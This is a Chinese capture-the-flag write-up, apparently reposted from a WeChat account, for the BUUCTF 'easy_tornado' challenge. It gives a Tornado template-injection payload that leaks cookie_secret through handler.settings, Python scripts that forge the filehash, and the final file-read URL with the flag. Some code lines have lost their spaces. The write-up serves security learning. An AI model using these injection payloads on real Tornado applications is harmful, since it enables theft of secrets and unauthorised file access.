[护网杯]easy_tornado
访问url:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/
打开页面发现三个链接依次打开
发现各自的文本
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))
从上面三个信息我们的值flag在/fllllllllllllag文件,render是模板注入,经过测试发现过滤了
payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{1*2}}
如下:
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值,想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在cookie_secret,我们得想办法获得cookie_secret
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
通过模板注入方式我们可以构造
payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{handler.settings}}
成功拿到40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d
根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密
python3版本
importhashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
python2.7版本
#!-*-coding:utf-8 -*-
importhashlib
defmd5(s):
md5 = hashlib.md5()
md5.update(s)
print(md5.hexdigest())
returnmd5.hexdigest()
deffilehash():
filename = '/fllllllllllllag'
cookie_secret = '40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d'
print(cookie_secret+md5(filename))
print(md5(cookie_secret+md5(filename)))
if__name__ == '__main__':
filehash()
得到加密后的结果0e68f61488cca5aad0677cad0f8b8e8e
filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e
得到flag{44570899-653f-48eb-be17-2f57febc0580}
攻防交流群
声明
免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(儒道易行):【buuctf】[护网杯]easy_tornado
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论